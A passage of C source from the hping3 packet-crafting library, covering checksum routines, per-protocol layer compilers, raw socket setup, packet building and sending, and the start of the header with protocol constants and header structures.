&oddbyte) = c->oddbyte << 8; *((u_int16_t *) &oddbyte) |= *(u_int16_t *) buf; oddbyte = (x[0] << 8) | x[1]; /* fix endianess */ c->old += oddbyte; nbytes--; c->oddbyte_flag = 0; /* We need to stay aligned -- bad slowdown, fix? */ tmp = alloca(nbytes); memcpy(tmp, vbuf+1, nbytes); buf = tmp; } sum = c->old; while (nbytes > 1) { sum += *buf++; nbytes -= 2; } c->old = sum; if (nbytes == 1) { c->oddbyte = *(u_int16_t*) buf; c->oddbyte_flag++; } return -ARS_OK; } else if (op == ARS_MC_FINAL) { sum = c->old; if (c->oddbyte_flag == 1) { oddbyte = 0; *((u_int16_t *) &oddbyte) = c->oddbyte; sum += oddbyte; } sum = (sum >> 16) + (sum & 0xffff); sum += (sum >> 16); return (u_int16_t) ~sum; } else { assert("else reached in ars_multi_cksum()" == ""); } return 0; /* unreached, here to prevent warnings */ } /* The ARS compiler table is just a function pointers array: * For example to select the right function to compile an IP * layer use: ars_compiler[ARS_TYPE_IP](pkt, layer); * You can, of course, add your protocols and compilers: * * WARNING: take it syncronized with ars.h ARS_TYPE_* defines */ struct ars_layer_info ars_linfo[ARS_TYPE_SIZE] = { /* NAME COMPILER ID * * ---- -------- -- */ { "NULL", ars_compiler_abort, NULL, 0 }, { "IP", ars_compiler_ip, ars_rapd_ip, 1 }, { "IPOPT", ars_compiler_ipopt, ars_rapd_ipopt, 2 }, { "ICMP", ars_compiler_icmp, ars_rapd_icmp, 3 }, { "UDP", ars_compiler_udp, ars_rapd_udp, 4 }, { "TCP", ars_compiler_tcp, ars_rapd_tcp, 5 }, { "TCPOPT", ars_compiler_tcpopt, ars_rapd_tcpopt, 6 }, { "IGRP", ars_compiler_igrp, ars_rapd_igrp, 7 }, { "IGRPENTRY", NULL, ars_rapd_igrpentry, 8 }, { NULL, NULL, NULL, 9 }, { NULL, NULL, NULL, 10 }, { NULL, NULL, NULL, 11 }, { NULL, NULL, NULL, 12 }, { NULL, NULL, NULL, 13 }, { NULL, NULL, NULL, 14 }, { NULL, NULL, NULL, 15 }, { NULL, NULL, NULL, 16 }, { NULL, NULL, NULL, 17 }, { NULL, NULL, NULL, 18 }, { NULL, NULL, NULL, 19 }, { NULL, NULL, NULL, 20 }, { NULL, NULL, NULL, 21 }, { NULL, NULL, NULL, 22 }, { NULL, NULL, NULL, 23 }, { NULL, NULL, NULL, 24 }, { NULL, NULL, NULL, 25 }, { NULL, NULL, NULL, 26 }, { NULL, NULL, NULL, 27 }, { NULL, NULL, NULL, 28 }, { NULL, NULL, NULL, 29 }, { NULL, NULL, NULL, 30 }, { "DATA", NULL, ars_rapd_data, 31 } }; /* This function call the right compiler for all the layers of the packet: * A compiler just set the protocol fields like the checksum, len, and so on * accordly to the following layers. * Note that the layers are compiled from the last to the first, to ensure * that the checksum and other dependences are sane. */ int ars_compile(struct ars_packet *pkt) { int j, err; for (j = pkt->p_layer_nr - 1; j >= 0; j--) { __D(printf("Compiling layer %d\n", j);) /* Skip NULL compilers */ if (ars_linfo[pkt->p_layer[j].l_type].li_compiler != NULL) { /* Call the compiler */ err = ars_linfo[pkt->p_layer[j].l_type].li_compiler(pkt, j); if (err != -ARS_OK) return err; } } return -ARS_OK; } /* The IP compiler: probably the more complex, but still simple */ int ars_compiler_ip(struct ars_packet *pkt, int layer) { struct ars_iphdr *ip = pkt->p_layer[layer].l_data; int j = layer, err; int flags = pkt->p_layer[layer].l_flags; int ipoptlen = 0; struct mc_context mc; /* multi-buffer checksum context */ /* IP version */ if (ARS_DONTTAKE(flags, ARS_TAKE_IP_VERSION)) ip->version = 4; /* IP header len */ if (ARS_DONTTAKE(flags, ARS_TAKE_IP_HDRLEN)) { ip->ihl = (ARS_IPHDR_SIZE >> 2); /* Add IP options len */ for (j = layer+1; j < ARS_MAX_LAYER; j++) { if (pkt->p_layer[j].l_type != ARS_TYPE_IPOPT) break; ipoptlen += pkt->p_layer[j].l_size; } ip->ihl += ipoptlen >> 2; } /* IP tot len */ if (ARS_DONTTAKE(flags, ARS_TAKE_IP_TOTLEN)) ip->tot_len = htons(ars_relative_size(pkt, layer)); /* IP protocol field */ if (ARS_DONTTAKE(flags, ARS_TAKE_IP_PROTOCOL)) { ip->protocol = ARS_IPPROTO_RAW; /* This is the default */ while (j < ARS_MAX_LAYER) { if (pkt->p_layer[j].l_type == ARS_TYPE_IPOPT) { j++; continue; } switch(pkt->p_layer[j].l_type) { case ARS_TYPE_IP: ip->protocol = ARS_IPPROTO_IPIP; break; case ARS_TYPE_ICMP: ip->protocol = ARS_IPPROTO_ICMP; break; case ARS_TYPE_UDP: ip->protocol = ARS_IPPROTO_UDP; break; case ARS_TYPE_TCP: ip->protocol = ARS_IPPROTO_TCP; break; case ARS_TYPE_IGRP: ip->protocol = ARS_IPPROTO_IGRP; break; } break; } } /* We always calculate the IP checksum, since the kernel * do it only for the first IP header in the datagram */ if (ARS_DONTTAKE(flags, ARS_TAKE_IP_CKSUM)) { ip->check = 0; ars_multi_cksum(&mc, ARS_MC_INIT, NULL, 0); err = ars_multi_cksum(&mc, ARS_MC_UPDATE, ip, ARS_IPHDR_SIZE); if (err != -ARS_OK) return err; for (j = layer+1; j < ARS_MAX_LAYER; j++) { if (pkt->p_layer[j].l_type != ARS_TYPE_IPOPT) break; err = ars_multi_cksum(&mc, ARS_MC_UPDATE, pkt->p_layer[j].l_data, pkt->p_layer[j].l_size); if (err != -ARS_OK) return err; } ip->check = ars_multi_cksum(&mc, ARS_MC_FINAL, NULL, 0); } return -ARS_OK; } /* The ip options compiler: do just option padding with NOP options */ int ars_compiler_ipopt(struct ars_packet *pkt, int layer) { int j, opt_size; /* Padding is needed only in the last IP option */ if (layer != ARS_MAX_LAYER-1 && pkt->p_layer[layer+1].l_type == ARS_TYPE_IPOPT) return ARS_OK; /* Search the layer of the relative first IP option */ j = layer - 1; /* We know that 'layer' is an IP option */ while (j < ARS_MAX_LAYER && j >= 0 && pkt->p_layer[j].l_type == ARS_TYPE_IPOPT) j--; j++; __D(printf("First IP OPTION layer is %d\n", j);) opt_size = ars_relative_size(pkt, j) - ars_relative_size(pkt, layer+1); __D(printf("IP OPTION size %d\n", opt_size);) if (opt_size % 4) { int padding = 4 - (opt_size % 4); unsigned char *t; int cur_size = pkt->p_layer[layer].l_size; __D(printf("IP OPTION at layer %d needs %d bytes " "of padding\n", layer, padding);) t = realloc(pkt->p_layer[layer].l_data, cur_size + padding); if (t == NULL) { ars_set_error(pkt, "Out of memory padding IP options"); return -ARS_NOMEM; } memset(t+cur_size, ARS_IPOPT_NOP, padding); __D(printf("The last IP OPTION length was: %d\n", cur_size);) pkt->p_layer[layer].l_data = t; pkt->p_layer[layer].l_size += padding; __D(printf("After padding it is: %d\n", pkt->p_layer[layer].l_size);) } return -ARS_OK; } /* Compute the UDP and TCP checksum using the pseudoheader. * Note that this functions automatically care about TCP/UDP data. * FIXME: this doesn't work when the IP source address is 0.0.0.0 */ int ars_udptcp_cksum(struct ars_packet *pkt, int layer, u_int16_t *sum) { struct ars_iphdr *ip; struct ars_pseudohdr pseudo; struct mc_context mc; /* multi-buffer checksum context */ int j = layer - 1, err; /* search the first IP layer on the left: * it returns an error if between the IP and * the TCP layer there aren't just IPOPT layers: * even with malformed packets this does not * makes sense. */ while (j > 0 && pkt->p_layer[j].l_type == ARS_TYPE_IPOPT) j--; if (pkt->p_layer[j].l_type != ARS_TYPE_IP) { ars_set_error(pkt, "TCP/UDP checksum requested, but IP header " "not found"); return -ARS_INVALID; } ip = pkt->p_layer[j].l_data; memset(&pseudo, 0, sizeof(pseudo)); /* actually not needed */ /* Copy the src and dst IP address */ memcpy(&pseudo.saddr, &ip->saddr, 4); memcpy(&pseudo.daddr, &ip->daddr, 4); pseudo.protocol = (pkt->p_layer[layer].l_type == ARS_TYPE_TCP) ? ARS_IPPROTO_TCP : ARS_IPPROTO_UDP; pseudo.lenght = htons(ars_relative_size(pkt, layer)); /* Finally do the checksum */ ars_multi_cksum(&mc, ARS_MC_INIT, NULL, 0); err = ars_multi_cksum(&mc, ARS_MC_UPDATE, &pseudo, sizeof(pseudo)); if (err != -ARS_OK) return err; for (j = layer; j < ARS_MAX_LAYER; j++) { if (pkt->p_layer[j].l_type == ARS_TYPE_NULL) break; err = ars_multi_cksum(&mc, ARS_MC_UPDATE, pkt->p_layer[j].l_data, pkt->p_layer[j].l_size); if (err != -ARS_OK) return err; } *sum = ars_multi_cksum(&mc, ARS_MC_FINAL, NULL, 0); return -ARS_OK; } /* The tcp compiler */ int ars_compiler_tcp(struct ars_packet *pkt, int layer) { struct ars_tcphdr *tcp = pkt->p_layer[layer].l_data; int j, err, tcpoptlen = 0; int flags = pkt->p_layer[layer].l_flags; if (ARS_DONTTAKE(flags, ARS_TAKE_TCP_HDRLEN)) { tcp->th_off = ARS_TCPHDR_SIZE >> 2; /* Add the len of the options */ for (j = layer+1; j < ARS_MAX_LAYER; j++) { if (pkt->p_layer[j].l_type != ARS_TYPE_TCPOPT) break; tcpoptlen += pkt->p_layer[j].l_size; } tcp->th_off += tcpoptlen >> 2; } if (ARS_DONTTAKE(flags, ARS_TAKE_TCP_CKSUM)) { tcp->th_sum = 0; err = ars_udptcp_cksum(pkt, layer, &tcp->th_sum); if (err != -ARS_OK) return err; } return -ARS_OK; } /* The tcp options compiler: do just option padding with NOP options */ int ars_compiler_tcpopt(struct ars_packet *pkt, int layer) { int j, opt_size; /* Padding is needed only in the last TCP option */ if (layer != ARS_MAX_LAYER-1 && pkt->p_layer[layer+1].l_type == ARS_TYPE_TCPOPT) return ARS_OK; /* Search the layer of the relative first TCP option */ j = layer - 1; /* We know that 'layer' is a tcp option */ while (j < ARS_MAX_LAYER && j >= 0 && pkt->p_layer[j].l_type == ARS_TYPE_TCPOPT) j--; j++; __D(printf("First TCP OPTION layer is %d\n", j);) opt_size = ars_relative_size(pkt, j) - ars_relative_size(pkt, layer+1); __D(printf("TCP OPTION size %d\n", opt_size);) if (opt_size % 4) { int padding = 4 - (opt_size % 4); unsigned char *t; int cur_size = pkt->p_layer[layer].l_size; __D(printf("TCP OPTION at layer %d needs %d bytes " "of padding\n", layer, padding);) t = realloc(pkt->p_layer[layer].l_data, cur_size + padding); if (t == NULL) { ars_set_error(pkt, "Out of memory padding TCP options"); return -ARS_NOMEM; } memset(t+cur_size, ARS_TCPOPT_NOP, padding); pkt->p_layer[layer].l_size += padding; } return -ARS_OK; } /* The udp compiler, very simple */ int ars_compiler_udp(struct ars_packet *pkt, int layer) { struct ars_udphdr *udp = pkt->p_layer[layer].l_data; int err; int flags = pkt->p_layer[layer].l_flags; if (ARS_DONTTAKE(flags, ARS_TAKE_UDP_LEN)) udp->uh_ulen = htons(ars_relative_size(pkt, layer)); if (ARS_DONTTAKE(flags, ARS_TAKE_UDP_CKSUM)) { udp->uh_sum = 0; err = ars_udptcp_cksum(pkt, layer, &udp->uh_sum); if (err != -ARS_OK) return err; } return -ARS_OK; } /* The icmp compiler, just compute the checksum */ int ars_compiler_icmp(struct ars_packet *pkt, int layer) { struct ars_icmphdr *icmp = pkt->p_layer[layer].l_data; struct mc_context mc; /* multi-buffer checksum context */ int err, j; int flags = pkt->p_layer[layer].l_flags; if (ARS_DONTTAKE(flags, ARS_TAKE_ICMP_CKSUM)) { icmp->checksum = 0; ars_multi_cksum(&mc, ARS_MC_INIT, NULL, 0); for (j = layer; j < ARS_MAX_LAYER; j++) { if (pkt->p_layer[j].l_type == ARS_TYPE_NULL) break; err = ars_multi_cksum(&mc, ARS_MC_UPDATE, pkt->p_layer[j].l_data, pkt->p_layer[j].l_size); if (err != -ARS_OK) return err; } icmp->checksum = ars_multi_cksum(&mc, ARS_MC_FINAL, NULL, 0); } return -ARS_OK; } /* The igrp compiler, just compute the checksum */ int ars_compiler_igrp(struct ars_packet *pkt, int layer) { struct ars_igrphdr *igrp = pkt->p_layer[layer].l_data; struct mc_context mc; /* multi-buffer checksum context */ int err, j; int flags = pkt->p_layer[layer].l_flags; if (ARS_DONTTAKE(flags, ARS_TAKE_IGRP_CKSUM)) { igrp->checksum = 0; ars_multi_cksum(&mc, ARS_MC_INIT, NULL, 0); for (j = layer; j < ARS_MAX_LAYER; j++) { if (pkt->p_layer[j].l_type == ARS_TYPE_NULL) break; err = ars_multi_cksum(&mc, ARS_MC_UPDATE, pkt->p_layer[j].l_data, pkt->p_layer[j].l_size); if (err != -ARS_OK) return err; } igrp->checksum = ars_multi_cksum(&mc, ARS_MC_FINAL, NULL, 0); } return -ARS_OK; } /* Open a raw socket, ready for IP header creation and broadcast addresses */ int ars_open_rawsocket(struct ars_packet *pkt) { int s; const int one = 1; if ((s = socket(AF_INET, SOCK_RAW, IPPROTO_RAW)) == -1) { ars_set_error(pkt, "Can't open the raw socket"); return -ARS_ERROR; } if (setsockopt(s, SOL_SOCKET, SO_BROADCAST, (char*)&one, sizeof(one)) == -1 || setsockopt(s, IPPROTO_IP, IP_HDRINCL, (char*)&one, sizeof(one)) == -1) { close(s); ars_set_error(pkt, "Can't set socket options"); return -ARS_ERROR; } return s; } /* Create the packets using the layers. This function is often called * after the layers compilation. Note that since the packet created * is sane the strange-rawsocket-behaviour of some *BSD will not * be able to send this packet. Use the function ars_bsd_fix() to fix it. * WARNING: The packets returned is malloc()ated, free it */ int ars_build_packet(struct ars_packet *pkt, unsigned char **packet, size_t *size) { size_t tot_size, offset = 0; int j = 0; if ((tot_size = ars_packet_size(pkt)) == 0) { ars_set_error(pkt, "Total size 0 building the packet"); return -ARS_INVALID; } if ((*packet = malloc(tot_size)) == NULL) { ars_set_error(pkt, "Out of memory building the packet"); return -ARS_NOMEM; } while (j < ARS_MAX_LAYER && pkt->p_layer[j].l_type != ARS_TYPE_NULL) { memcpy((*packet)+offset, pkt->p_layer[j].l_data, pkt->p_layer[j].l_size); offset += pkt->p_layer[j].l_size; j++; } *size = tot_size; return -ARS_OK; } /* FreeBSD and NetBSD have a strange raw socket layer :( * Call this function anyway to increase portability * since it does not perform any operation if the * system isn't FreeBSD or NetBSD. */ int ars_bsd_fix(struct ars_packet *pkt, unsigned char *packet, size_t size) { struct ars_iphdr *ip; if (pkt->p_layer[0].l_type != ARS_TYPE_IP || size < sizeof(struct ars_iphdr)) { ars_set_error(pkt, "BSD fix requested, but layer 0 not IP"); return -ARS_INVALID; } ip = (struct ars_iphdr*) packet; #if defined OSTYPE_FREEBSD || defined OSTYPE_NETBSD || defined OSTYPE_BSDI ip->tot_len = ntohs(ip->tot_len); ip->frag_off = ntohs(ip->frag_off); #endif return -ARS_OK; } /* Set the flags for some layer: if layer == -1 the last layer will be used */ int ars_set_flags(struct ars_packet *pkt, int layer, int flags) { if (layer == ARS_LAST_LAYER) layer = pkt->p_layer_nr - 1; if (layer < 0 || layer >= ARS_MAX_LAYER) { ars_set_error(pkt, "Invalid layer setting layer flags"); return -ARS_INVALID; } pkt->p_layer[layer].l_flags = flags; return -ARS_OK; } /* Build, fix, and send the packet */ int ars_send(int s, struct ars_packet *pkt, struct sockaddr *sa, socklen_t slen) { struct sockaddr_in sain; struct sockaddr *_sa = sa; unsigned char *packet; size_t size; int error; /* Perform the socket address completion if sa == NULL */ if (sa == NULL) { struct ars_iphdr *ip; memset(&sain, 0, sizeof(sain)); sain.sin_family = AF_INET; /* The first layer MUST be IP if the user requested * the socket address completion */ if (pkt->p_layer[0].l_type != ARS_TYPE_IP) { ars_set_error(pkt, "socket address completion" "requested, but layer 0 isn't IP"); return -ARS_ERROR; } ip = (struct ars_iphdr*) pkt->p_layer[0].l_data; memcpy(&sain.sin_addr.s_addr, &ip->daddr, 4); _sa = (struct sockaddr*) &sain; slen = sizeof(sain); } if ((error = ars_build_packet(pkt, &packet, &size)) != ARS_OK) return error; if ((error = ars_bsd_fix(pkt, packet, size)) != ARS_OK) return error; error = sendto(s, packet, size, 0, _sa, slen); free(packet); return (error != -1) ? -ARS_OK : -ARS_ERROR; } /* Resolve an hostname and write to 'dest' the IP */ int ars_resolve(struct ars_packet *pkt, u_int32_t *dest, char *hostname) { struct sockaddr_in sa; if (inet_aton(hostname, &sa.sin_addr) == 0) { struct hostent *he; he = gethostbyname(hostname); if (he == NULL) { ars_set_error(pkt, "Can't resolve the hostname"); return -ARS_ERROR; } sa.sin_addr.s_addr = ((struct in_addr*) he->h_addr)->s_addr; } memcpy(dest, &sa.sin_addr.s_addr, sizeof(u_int32_t)); return -ARS_OK; } hping3-3.a2.ds2/ars.h000066400000000000000000000374571021454026700143550ustar00rootroot00000000000000/* Copyright (C) 2000,2001 Salvatore Sanfilippo * See the LICENSE file for more information. */ /* $Id: ars.h,v 1.4 2004/06/04 07:22:38 antirez Exp $ */ #ifndef _ARS_H #define _ARS_H /* define before including sys/socket.h */ #if defined(__APPLE__) && !defined(_BSD_SOCKLEN_T_) #define _BSD_SOCKLEN_T_ int #endif #include #include #include #include #include "systype.h" #include "in.h" #include "bytesex.h" #include "adbuf.h" #include "fixtypes.h" #ifndef TRUE #define TRUE 1 #define FALSE 0 #endif #ifndef MIN #define MIN(x,y) ((x)<(y)?(x):(y)) #endif #ifndef MAX #define MAX(x,y) ((x)>(y)?(x):(y)) #endif #ifdef DEBUG #define __D(x) x #else #define __D(x) do { } while (0); #endif #ifndef __u8 #define __u8 u_int8_t #define __u16 u_int16_t #define __u32 u_int32_t #endif /* error codes */ #define ARS_OK 0 #define ARS_ERROR 1 #define ARS_NOSPACE 2 #define ARS_NOMEM 3 #define ARS_INVALID 4 /* Headers size */ #define ARS_ICMPHDR_SIZE sizeof(struct ars_icmphdr) #define ARS_UDPHDR_SIZE sizeof(struct ars_udphdr) #define ARS_TCPHDR_SIZE sizeof(struct ars_tcphdr) #define ARS_IPHDR_SIZE sizeof(struct ars_iphdr) #define ARS_PSEUDOHDR_SIZE sizeof(struct pseudohdr) #define ARS_IGRPHDR_SIZE sizeof(struct ars_igrphdr) #define ARS_IGRPENTRY_SIZE sizeof(struct ars_igrpentry) /* IP defines */ #define ARS_MAX_IP_SIZE 65535 #define ARS_IP_MF ((unsigned short)0x2000) /* more fragments */ #define ARS_IP_DF ((unsigned short)0x4000) /* dont fragment */ #define ARS_IP_RF ((unsigned short)0x8000) /* reserved fragment flag */ #define ARS_IPOPT_COPY 0x80 #define ARS_IPOPT_CLASS_MASK 0x60 #define ARS_IPOPT_NUMBER_MASK 0x1f #define ARS_IPOPT_COPIED(o) ((o)&ARS_IPOPT_COPY) #define ARS_IPOPT_CLASS(o) ((o)&ARS_IPOPT_CLASS_MASK) #define ARS_IPOPT_NUMBER(o) ((o)&ARS_IPOPT_NUMBER_MASK) #define ARS_IPOPT_CONTROL 0x00 #define ARS_IPOPT_RESERVED1 0x20 #define ARS_IPOPT_MEASUREMENT 0x40 #define ARS_IPOPT_RESERVED2 0x60 #define ARS_IPOPT_END (0 |ARS_IPOPT_CONTROL) #define ARS_IPOPT_NOOP (1 |ARS_IPOPT_CONTROL) #define ARS_IPOPT_SEC (2 |ARS_IPOPT_CONTROL|ARS_IPOPT_COPY) #define ARS_IPOPT_LSRR (3 |ARS_IPOPT_CONTROL|ARS_IPOPT_COPY) #define ARS_IPOPT_TIMESTAMP (4 |ARS_IPOPT_MEASUREMENT) #define ARS_IPOPT_RR (7 |ARS_IPOPT_CONTROL) #define ARS_IPOPT_SID (8 |ARS_IPOPT_CONTROL|ARS_IPOPT_COPY) #define ARS_IPOPT_SSRR (9 |ARS_IPOPT_CONTROL|ARS_IPOPT_COPY) #define ARS_IPOPT_RA (20|ARS_IPOPT_CONTROL|ARS_IPOPT_COPY) #define ARS_IPOPT_OPTVAL 0 #define ARS_IPOPT_OLEN 1 #define ARS_IPOPT_OFFSET 2 #define ARS_IPOPT_MINOFF 4 #define ARS_MAX_IPOPTLEN 40 #define ARS_IPOPT_NOP ARS_IPOPT_NOOP #define ARS_IPOPT_EOL ARS_IPOPT_END #define ARS_IPOPT_TS ARS_IPOPT_TIMESTAMP #define ARS_IPOPT_TS_TSONLY 0 /* timestamps only */ #define ARS_IPOPT_TS_TSANDADDR 1 /* timestamps and addresses */ #define ARS_IPOPT_TS_PRESPEC 3 /* specified modules only */ /* IPV4 and IPV6 string rappresentation len */ #define ARS_INET_ADDRSTRLEN 16 #define ARS_INET6_ADDRSTRLEN 46 /* TCP */ #define ARS_TCPOPT_EOL 0 #define ARS_TCPOPT_NOP 1 #define ARS_TCPOPT_MAXSEG 2 #define ARS_TCPOPT_WINDOW 3 #define ARS_TCPOPT_SACK_PERM 4 #define ARS_TCPOPT_SACK 5 #define ARS_TCPOPT_ECHOREQUEST 6 #define ARS_TCPOPT_ECHOREPLY 7 #define ARS_TCPOPT_TIMESTAMP 8 #define ARS_TCP_TH_FIN 0x01 #define ARS_TCP_TH_SYN 0x02 #define ARS_TCP_TH_RST 0x04 #define ARS_TCP_TH_PUSH 0x08 #define ARS_TCP_TH_ACK 0x10 #define ARS_TCP_TH_URG 0x20 #define ARS_TCP_TH_X 0x40 /* X tcp flag */ #define ARS_TCP_TH_Y 0x80 /* Y tcp flag */ /* ICMP TYPE */ #define ARS_ICMP_ECHOREPLY 0 /* Echo Reply */ #define ARS_ICMP_DEST_UNREACH 3 /* Destination Unreachable */ #define ARS_ICMP_SOURCE_QUENCH 4 /* Source Quench */ #define ARS_ICMP_REDIRECT 5 /* Redirect (change route) */ #define ARS_ICMP_ECHO 8 /* Echo Request */ #define ARS_ICMP_TIME_EXCEEDED 11 /* Time Exceeded */ #define ARS_ICMP_PARAMETERPROB 12 /* Parameter Problem */ #define ARS_ICMP_TIMESTAMP 13 /* Timestamp Request */ #define ARS_ICMP_TIMESTAMPREPLY 14 /* Timestamp Reply */ #define ARS_ICMP_INFO_REQUEST 15 /* Information Request */ #define ARS_ICMP_INFO_REPLY 16 /* Information Reply */ #define ARS_ICMP_ADDRESS 17 /* Address Mask Request */ #define ARS_ICMP_ADDRESSREPLY 18 /* Address Mask Reply */ /* Codes for UNREACHABLE */ #define ARS_ICMP_UNR_NET 0 /* Network Unreachable */ #define ARS_ICMP_UNR_HOST 1 /* Host Unreachable */ #define ARS_ICMP_UNR_PROT 2 /* Protocol Unreachable */ #define ARS_ICMP_UNR_PORT 3 /* Port Unreachable */ #define ARS_ICMP_UNR_FRAG_NEEDED 4 /* Fragmentation Needed,DF set*/ #define ARS_ICMP_UNR_SR_FAILED 5 /* Source Route failed */ #define ARS_ICMP_UNR_UNK_NET 6 #define ARS_ICMP_UNR_UNK_HOST 7 #define ARS_ICMP_UNR_ISOLATED_HOST 8 #define ARS_ICMP_UNR_NET_ANO 9 #define ARS_ICMP_UNR_HOST_ANO 10 #define ARS_ICMP_UNR_NET_UNR_TOS 11 #define ARS_ICMP_UNR_HOST_UNR_TOS 12 #define ARS_ICMP_UNR_PKT_FILTERED 13 /* Packet filtered */ #define ARS_ICMP_UNR_PREC_VIOLATION 14 /* Precedence violation */ #define ARS_ICMP_UNR_PREC_CUTOFF 15 /* Precedence cut off */ #define ARS_NR_ICMP_UNREACH 15 /* Instead of hardcoded immediate value */ /* Codes for REDIRECT */ #define ARS_ICMP_REDIR_NET 0 /* Redirect Net */ #define ARS_ICMP_REDIR_HOST 1 /* Redirect Host */ #define ARS_ICMP_REDIR_NETTOS 2 /* Redirect Net for TOS */ #define ARS_ICMP_REDIR_HOSTTOS 3 /* Redirect Host for TOS */ /* Codes for TIME_EXCEEDED */ #define ARS_ICMP_EXC_TTL 0 /* TTL count exceeded */ #define ARS_ICMP_EXC_FRAGTIME 1 /* TTL exceeded reassembling */ /* IGRP defines */ #define ARS_IGRP_OPCODE_UPDATE 1 #define ARS_IGRP_OPCODE_REQUEST 2 /* The IP header structure */ struct ars_iphdr { #if defined(BYTE_ORDER_LITTLE_ENDIAN) __u8 ihl:4, version:4; #elif defined (BYTE_ORDER_BIG_ENDIAN) __u8 version:4, ihl:4; #else #error "Please, edit Makefile and add -DBYTE_ORDER_(BIG|LITTLE)_ENDIAN" #endif __u8 tos; __u16 tot_len; __u16 id; __u16 frag_off; __u8 ttl; __u8 protocol; __u16 check; __u32 saddr; __u32 daddr; }; /* The IP options structure */ struct ars_ipopt { u_int8_t kind; u_int8_t len; union { struct { u_int16_t s; u_int16_t c; u_int16_t h; u_int8_t tcc[3]; } sec; /* security */ struct { u_int8_t ptr; u_int8_t data[37]; } src; /* loose and strict source routing */ struct { u_int8_t ptr; u_int8_t data[37]; } rr; /* record route */ struct { u_int16_t id; } sid; /* stream id */ struct { u_int8_t ptr; u_int8_t flags; u_int8_t data[36]; } ts; /* timestamp */ } un; }; /* The UDP header structure */ struct ars_udphdr { __u16 uh_sport; /* source port */ __u16 uh_dport; /* destination port */ __u16 uh_ulen; /* udp length */ __u16 uh_sum; /* udp checksum */ }; /* The TCP header structure */ struct ars_tcphdr { __u16 th_sport; /* source port */ __u16 th_dport; /* destination port */ __u32 th_seq; /* sequence number */ __u32 th_ack; /* acknowledgement number */ #if defined (BYTE_ORDER_LITTLE_ENDIAN) __u8 th_x2:4, /* (unused) */ th_off:4; /* data offset */ #elif defined (BYTE_ORDER_BIG_ENDIAN) __u8 th_off:4, /* data offset */ th_x2:4; /* (unused) */ #else #error "Please, edit Makefile and add -DBYTE_ORDER_(BIG|LITTLE)_ENDIAN" #endif __u8 th_flags; __u16 th_win; /* window */ __u16 th_sum; /* checksum */ __u16 th_urp; /* urgent pointer */ }; /* The TCP options structure */ struct ars_tcpopt { u_int8_t kind; u_int8_t len; union { struct { u_int16_t size; } mss; struct { u_int8_t shift; } win; struct { u_int8_t origin[4]; u_int8_t size[4]; } sack[4]; /* max 4 SACK blocks in 40 bytes of space */ struct { u_int8_t info[4]; } echo; struct { u_int8_t tsval[4]; u_int8_t tsecr[4]; } timestamp; } un; }; /* The ICMP header structure */ struct ars_icmphdr { __u8 type; __u8 code; __u16 checksum; union { struct { __u16 id; __u16 sequence; } echo; /* called echo since it's the most used */ __u32 gateway; } un; }; /* TCP/UDP pseudo header used to compute the checksum */ struct ars_pseudohdr { __u32 saddr; __u32 daddr; __u8 zero; __u8 protocol; __u16 lenght; }; /* The IGRP header structure */ struct ars_igrphdr { #if defined(BYTE_ORDER_LITTLE_ENDIAN) __u8 opcode:4, version:4; #elif defined (BYTE_ORDER_BIG_ENDIAN) __u8 version:4, opcode:4; #else #error "Please, edit Makefile and add -DBYTE_ORDER_(BIG|LITTLE)_ENDIAN" #endif __u8 edition; __u16 autosys; __u16 interior; __u16 system; __u16 exterior; __u16 checksum; }; /* The IGRP entry */ struct ars_igrpentry { __u8 destination[3]; __u8 delay[3]; __u8 bandwidth[3]; __u8 mtu[2]; __u8 reliability; __u8 load; __u8 hopcount; }; struct ars_packet; /* forward declaration */ /* ARS layer */ struct ars_layer { int l_type; int l_size; int l_flags; void *l_data; struct ars_packet *l_packet; }; #define ARS_MAX_LAYER 256 #define ARS_ERR_BUFSZ 1024 /* Types */ #define ARS_TYPE_SIZE 32 #define ARS_TYPE_NULL 0 #define ARS_TYPE_IP 1 #define ARS_TYPE_IPOPT 2 #define ARS_TYPE_ICMP 3 #define ARS_TYPE_UDP 4 #define ARS_TYPE_TCP 5 #define ARS_TYPE_TCPOPT 6 #define ARS_TYPE_IGRP 7 #define ARS_TYPE_IGRPENTRY 8 #define ARS_TYPE_DATA 31 /* ARS packet context */ struct ars_packet { char *p_error; int p_layer_nr; struct ars_layer p_layer[ARS_MAX_LAYER]; void *p_default[ARS_TYPE_SIZE]; int p_options; int aux; /* Auxiliar variable for data exchange between functions */ int aux_ipproto; /* This hold the ip->proto field seen in the last IP datagram so that when the IP options processing is done, the split-machine can continue with the right state. */ }; /* Facility to check for flags */ #define ARS_TAKE(f,x) (f & x) #define ARS_DONTTAKE(f, x) (!(f & x)) #define ARS_TAKE_NONE 0 /* IP layer flags */ #define ARS_TAKE_IP_VERSION (1 << 0) #define ARS_TAKE_IP_HDRLEN (1 << 1) #define ARS_TAKE_IP_TOTLEN (1 << 2) #define ARS_TAKE_IP_PROTOCOL (1 << 3) #define ARS_TAKE_IP_CKSUM (1 << 4) /* IP options layers flags */ #define ARS_TAKE_IPOPT_PTR (1 << 0) /* for RR, LSRR, SSRR */ /* ICMP layer flags */ #define ARS_TAKE_ICMP_CKSUM (1 << 0) /* UDP layer flags */ #define ARS_TAKE_UDP_CKSUM (1 << 0) #define ARS_TAKE_UDP_LEN (1 << 1) /* TCP layer flags */ #define ARS_TAKE_TCP_HDRLEN (1 << 0) #define ARS_TAKE_TCP_CKSUM (1 << 1) /* IGRP layer flags */ #define ARS_TAKE_IGRP_CKSUM (1 << 0) /* Some function that acts on layer switch to the last layer with this */ #define ARS_LAST_LAYER -1 /* Structure and defines needed to calculate the internet-like checksum * when the data is splitted in more not adjacent buffers */ #define ARS_MC_INIT 0 #define ARS_MC_UPDATE 1 #define ARS_MC_FINAL 2 struct mc_context { u_int32_t oddbyte_flag; u_int32_t old; u_int8_t oddbyte; u_int8_t pad; }; /* ARS layer info structure */ struct ars_layer_info { char *li_name; /* NULL = unused slot */ int (*li_compiler) (struct ars_packet *pkt, int layer); /* NULL = NOP */ int (*li_rapd) (struct adbuf *dest, struct ars_packet *pkt, int layer); int layer_id; }; /* ARS layer info table */ extern struct ars_layer_info ars_linfo[ARS_TYPE_SIZE]; /* ARS interface managment structure and defines */ #define ARS_IF_UP (1 << 0) #define ARS_IF_LOOP (1 << 1) #define ARS_IF_IPV4 (1 << 2) #define ARS_IF_IPV6 (1 << 3) #define ARS_IF_MISCONF (1 << 4) #define ARS_IF_MAX_IFACE 16 #define ARS_IF_NAME_SIZE 32 /* iface type are obtained using libpcap to avoid efforts duplication */ struct ars_iface { char if_name[ARS_IF_NAME_SIZE]; int if_mtu; int if_flags; char 